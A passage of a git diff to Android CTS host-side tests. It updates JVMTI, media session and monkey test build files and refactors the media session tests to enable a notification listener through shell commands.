diff --git a/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
new file mode 100644
index 0000000..b50c2b6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest984@1
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
index 0ed12de..06e4454 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index 214faba..ff85148 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest985HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest985DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_985" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
index e092712..3a66405 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
new file mode 100644
index 0000000..a784447
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest985@1
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
index 8e6ec6f..e198471 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 8b012e0..3205637 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest986HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest986DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_986" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
index 6914162..7e907c3 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
new file mode 100644
index 0000000..51026b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest986@1
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
index 61e06a4..3d3e9e4 100644
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
index 343dc32..bd4faf1 100644
--- a/hostsidetests/jvmti/tagging/app/Android.mk
+++ b/hostsidetests/jvmti/tagging/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/tagging/jarjar-rules.txt b/hostsidetests/jvmti/tagging/jarjar-rules.txt
new file mode 100644
index 0000000..3dbf65a
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestTagging@1
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
index 36e9066..db83686 100644
--- a/hostsidetests/media/Android.mk
+++ b/hostsidetests/media/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsMediaHostTestCases
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index eb9059d..fb0fe40 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 60e82dd..5ae6f96 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -19,7 +19,17 @@
<uses-sdk android:minSdkVersion="26"/>
- <application />
+ <application
+ android:testOnly="true">
+ <service
+ android:name=".MediaSessionManagerTest"
+ android:label="MediaSessionManagerTest"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+ </application>
<instrumentation
android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 2186038..02d8107 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -17,12 +17,20 @@
package android.media.session.cts;
import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import android.content.Context;
import android.content.ComponentName;
-import android.test.AndroidTestCase;
-import android.media.session.MediaSessionManager;
+import android.content.Context;
import android.media.session.MediaController;
+import android.media.session.MediaSessionManager;
+import android.service.notification.NotificationListenerService;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
import java.util.List;
@@ -31,22 +39,25 @@
* <p>Don't run tests here directly. They aren't stand-alone tests and each test will be run
* indirectly by the host-side test CtsMediaHostTestCases after the proper device setup.
*/
-public class MediaSessionManagerTest extends AndroidTestCase {
+@SmallTest
+public class MediaSessionManagerTest extends NotificationListenerService {
+ private ComponentName mComponentName;
private MediaSessionManager mMediaSessionManager;
- @Override
+ @Before
public void setUp() throws Exception {
- super.setUp();
- mMediaSessionManager = (MediaSessionManager) getContext().getSystemService(
+ Context context = InstrumentationRegistry.getTargetContext();
+ mMediaSessionManager = (MediaSessionManager) context.getSystemService(
Context.MEDIA_SESSION_SERVICE);
+ mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
}
/**
* Tests if the MediaSessionTestHelper doesn't have an active media session.
*/
+ @Test
public void testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
for (MediaController controller : controllers) {
if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
fail("Media session for the media session app shouldn't be available");
@@ -58,9 +69,9 @@
/**
* Tests if the MediaSessionTestHelper has an active media session.
*/
+ @Test
public void testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
for (MediaController controller : controllers) {
if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
// Test success
@@ -73,18 +84,9 @@
/**
* Tests if there's no media session.
*/
+ @Test
public void testGetActiveSessions_noMediaSession() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
assertTrue(controllers.isEmpty());
}
-
- /**
- * Returns the ComponentName of the notification listener for this test.
- * <p>Notification listener will be enabled by the host-side test.
- */
- private ComponentName createFakeNotificationListener() {
- return new ComponentName(getContext(), MediaSessionManagerTest.class);
- }
}
-
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
index 3944cb6..871140a 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
@@ -30,7 +30,7 @@
$(call all-java-files-under, ../../common)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
index a161ba5..2460672 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
+++ b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
@@ -17,6 +17,8 @@
package android.media.app.media_session_test_helper;
import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.media.session.MediaSession;
@@ -41,6 +43,7 @@
private static final String TAG = "MediaSessionTestHelperService";
private static final int NOTIFICATION_ID = 100;
+ private static final String NOTIFICATION_CHANNEL = TAG;
private MediaSession mMediaSession;
@@ -49,7 +52,13 @@
super.onCreate();
// Build notification UI to make this a foreground service.
- Notification notification = new Notification.Builder(this)
+ NotificationManager manager =
+ (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
+ NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL,
+ getString(R.string.label), NotificationManager.IMPORTANCE_DEFAULT);
+ manager.createNotificationChannel(notificationChannel);
+
+ Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL)
.setSmallIcon(android.R.drawable.sym_def_app_icon)
.setContentTitle(getString(R.string.label)).build();
startForeground(NOTIFICATION_ID, notification);
diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
index 6a0cafe..2133f39 100644
--- a/hostsidetests/media/bitstreams/Android.mk
+++ b/hostsidetests/media/bitstreams/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE := CtsMediaBitstreamsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
index df8e6a4..6070146 100644
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaBitstreamsDeviceSideTestApp
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 7e52737..3e44c4f 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -17,7 +17,6 @@
package android.media.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.ddmlib.testrunner.TestResult;
@@ -85,64 +84,57 @@
private Set<String> mExistingPackages;
private List<Integer> mExistingUsers;
private HashSet<String> mAvailableFeatures;
- protected boolean mHasManagedUsersFeature;
@Override
protected void setUp() throws Exception {
super.setUp();
// Ensure that build has been set before test is run.
assertNotNull(mCtsBuild);
- mHasManagedUsersFeature = hasDeviceFeature("android.software.managed_users");
+ mExistingPackages = getDevice().getInstalledPackageNames();
- if (mHasManagedUsersFeature) {
- mExistingPackages = getDevice().getInstalledPackageNames();
+ // Disable the package verifier to avoid the dialog when installing an app
+ mPackageVerifier =
+ getSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ USER_ALL);
+ putSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ "0",
+ USER_ALL);
- // Disable the package verifier to avoid the dialog when installing an app
- mPackageVerifier =
- getSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- USER_ALL);
- putSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- "0",
- USER_ALL);
+ mExistingUsers = new ArrayList();
+ int primaryUserId = getDevice().getPrimaryUserId();
+ mExistingUsers.add(primaryUserId);
+ mExistingUsers.add(USER_SYSTEM);
- mExistingUsers = new ArrayList();
- int primaryUserId = getDevice().getPrimaryUserId();
- mExistingUsers.add(primaryUserId);
- mExistingUsers.add(USER_SYSTEM);
-
- executeShellCommand("am switch-user " + primaryUserId);
- executeShellCommand("wm dismiss-keyguard");
- }
+ executeShellCommand("am switch-user " + primaryUserId);
+ executeShellCommand("wm dismiss-keyguard");
}
@Override
protected void tearDown() throws Exception {
- if (mHasManagedUsersFeature) {
- // Reset the package verifier setting to its original value.
- putSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- mPackageVerifier,
- USER_ALL);
+ // Reset the package verifier setting to its original value.
+ putSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ mPackageVerifier,
+ USER_ALL);
- // Remove users created during the test.
- for (int userId : getDevice().listUsers()) {
- if (!mExistingUsers.contains(userId)) {
- removeUser(userId);
- }
+ // Remove users created during the test.
+ for (int userId : getDevice().listUsers()) {
+ if (!mExistingUsers.contains(userId)) {
+ removeUser(userId);
}
- // Remove packages installed during the test.
- for (String packageName : getDevice().getUninstallablePackageNames()) {
- if (mExistingPackages.contains(packageName)) {
- continue;
- }
- CLog.d("Removing leftover package: " + packageName);
- getDevice().uninstallPackage(packageName);
+ }
+ // Remove packages installed during the test.
+ for (String packageName : getDevice().getUninstallablePackageNames()) {
+ if (mExistingPackages.contains(packageName)) {
+ continue;
}
+ CLog.d("Removing leftover package: " + packageName);
+ getDevice().uninstallPackage(packageName);
}
super.tearDown();
}
@@ -368,13 +360,6 @@
}
}
boolean result = mAvailableFeatures.contains(requiredFeature);
- if (!result) {
- CLog.logAndDisplay(
- LogLevel.INFO,
- "Device doesn't have required feature "
- + requiredFeature
- + ". Test won't run.");
- }
return result;
}
}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 1067a85..4e3fa16 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -26,13 +26,13 @@
import android.platform.test.annotations.RequiresDevice;
+import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.StringJoiner;
-import java.util.StringTokenizer;
+import java.util.ArrayList;
+import java.util.List;
+
/**
* Host-side test for the media session manager that installs and runs device-side tests after the
@@ -55,49 +55,42 @@
private static final String DEVICE_SIDE_TEST_CLASS =
"android.media.session.cts.MediaSessionManagerTest";
- private static final String SETTINGS_NOTIFICATION_LISTENER_NAMESPACE = "secure";
- private static final String SETTINGS_NOTIFICATION_LISTENER_NAME =
- "enabled_notification_listeners";
+ private final List<Integer> mNotificationListeners = new ArrayList<>();
- // Keep the original notification listener list to clean up.
- private Map<Integer, String> mNotificationListeners;
+ private boolean mNotificationListenerDisabled;
@Override
public void setUp() throws Exception {
super.setUp();
- mNotificationListeners = new HashMap<>();
+
+ // Ensure that the previously running media session test helper app doesn't exist.
+ getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
+ mNotificationListeners.clear();
+ mNotificationListenerDisabled = "true".equals(getDevice().getProperty("ro.config.low_ram"));
}
@Override
public void tearDown() throws Exception {
- if (!mHasManagedUsersFeature) {
- return;
- }
-
// Cleanup
- for (int userId : mNotificationListeners.keySet()) {
- String notificationListener = mNotificationListeners.get(userId);
- putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, notificationListener, userId);
+ for (int userId : mNotificationListeners) {
+ setAllowGetActiveSessionForTest(false, userId);
}
super.tearDown();
}
/**
- * Tests {@link MediaSessionManager#getActiveSessions} with the multi-users environment.
+ * Tests {@link MediaSessionManager#getActiveSessions} with the primary user.
*/
@RequiresDevice
- public void testGetActiveSessions() throws Exception {
- if (!mHasManagedUsersFeature) {
+ public void testGetActiveSessions_primaryUser() throws Exception {
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
return;
}
-
- // Ensure that the previously running media session test helper app doesn't exist.
- getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
-
int primaryUserId = getDevice().getPrimaryUserId();
- allowGetActiveSessionForTest(primaryUserId);
+ setAllowGetActiveSessionForTest(true, primaryUserId);
installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId);
runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
@@ -107,32 +100,78 @@
sendControlCommand(primaryUserId, FLAG_SET_MEDIA_SESSION_ACTIVE);
runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
+ }
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with additional users.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_additionalUser() throws Exception {
if (!canCreateAdditionalUsers(1)) {
- CLog.w("Cannot create a new user. Skipping multi-user test cases.");
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
return;
}
// Test if another user can get the session.
int newUser = createAndStartUser();
installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
+ }
- // Test if another managed profile can get the session.
- // Remove the created user first not to exceed system's user number limit.
- newUser = createAndStartManagedProfile(primaryUserId);
- installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
- runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
- removeUser(newUser);
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with restricted profiles.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_restrictedProfiles() throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
+ return;
+ }
// Test if another restricted profile can get the session.
// Remove the created user first not to exceed system's user number limit.
- newUser = createAndStartRestrictedProfile(primaryUserId);
+ int newUser = createAndStartRestrictedProfile(getDevice().getPrimaryUserId());
installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
+ runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+ removeUser(newUser);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with managed profiles.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_managedProfiles() throws Exception {
+ if (!hasDeviceFeature("android.software.managed_users")) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Device doesn't support managed profiles. Test won't run.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
+ return;
+ }
+
+ // Test if another managed profile can get the session.
+ // Remove the created user first not to exceed system's user number limit.
+ int newUser = createAndStartManagedProfile(getDevice().getPrimaryUserId());
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
}
@@ -148,43 +187,24 @@
}
/**
- * Allows the {@link #DEVICE_SIDE_TEST_CLASS} to call
- * {@link MediaSessionManager#getActiveSessions} for testing.
+ * Sets to allow or disallow the {@link #DEVICE_SIDE_TEST_CLASS}
+ * to call {@link MediaSessionManager#getActiveSessions} for testing.
* <p>{@link MediaSessionManager#getActiveSessions} bypasses the permission check if the
- * caller is the enabled notification listener. This method uses the behavior by making
- * {@link #DEVICE_SIDE_TEST_CLASS} as the notification listener. So any change in this
- * should be also applied to the class.
+ * caller is the enabled notification listener. This method uses the behavior by allowing
+ * this class as the notification listener service.
* <p>Note that the device-side test {@link android.media.cts.MediaSessionManagerTest} already
* covers the test for failing {@link MediaSessionManager#getActiveSessions} without the
* permission nor the notification listener.
*/
- private void allowGetActiveSessionForTest(int userId) throws Exception {
- final String NOTIFICATION_LISTENER_DELIM = ":";
- if (mNotificationListeners.get(userId) != null) {
- // Already enabled.
- return;
- }
- String list = getSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, userId);
-
+ private void setAllowGetActiveSessionForTest(boolean allow, int userId) throws Exception {
String notificationListener = DEVICE_SIDE_TEST_PKG + "/" + DEVICE_SIDE_TEST_CLASS;
- // Ensure that the list doesn't contain notificationListener already.
- // This can happen if the test is killed while running.
- StringTokenizer tokenizer = new StringTokenizer(list, NOTIFICATION_LISTENER_DELIM);
- StringJoiner joiner = new StringJoiner(NOTIFICATION_LISTENER_DELIM);
- while (tokenizer.hasMoreTokens()) {
- String token = tokenizer.nextToken();
- if (!token.isEmpty() && !token.equals(notificationListener)) {
- joiner.add(token);
- }
+ String command = "cmd notification "
+ + ((allow) ? "allow_listener " : "disallow_listener ")
+ + notificationListener + " " + userId;
+ executeShellCommand(command);
+ if (allow) {
+ mNotificationListeners.add(userId);
}
- list = joiner.toString();
- // Preserve the original list.
- mNotificationListeners.put(userId, list);
- // Allow get active sessions by setting notification listener.
- joiner.add(notificationListener);
- putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, joiner.toString(), userId);
}
private void sendControlCommand(int userId, int flag) throws Exception {
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
index 7c7ecb5..052313c 100644
--- a/hostsidetests/monkey/Android.mk
+++ b/hostsidetests/monkey/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
index ff04f6c..44909c8 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
@@ -16,31 +16,78 @@
package com.android.cts.monkey;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.concurrent.TimeUnit;
+
public class CategoryTest extends AbstractMonkeyTest {
+ private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
+
+ @CddTest(requirement="6.1/C-0-8")
public void testDefaultCategories() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
+ @CddTest(requirement="6.1/C-0-8")
public void testSingleCategory() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -c android.intent.category.LAUNCHER 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
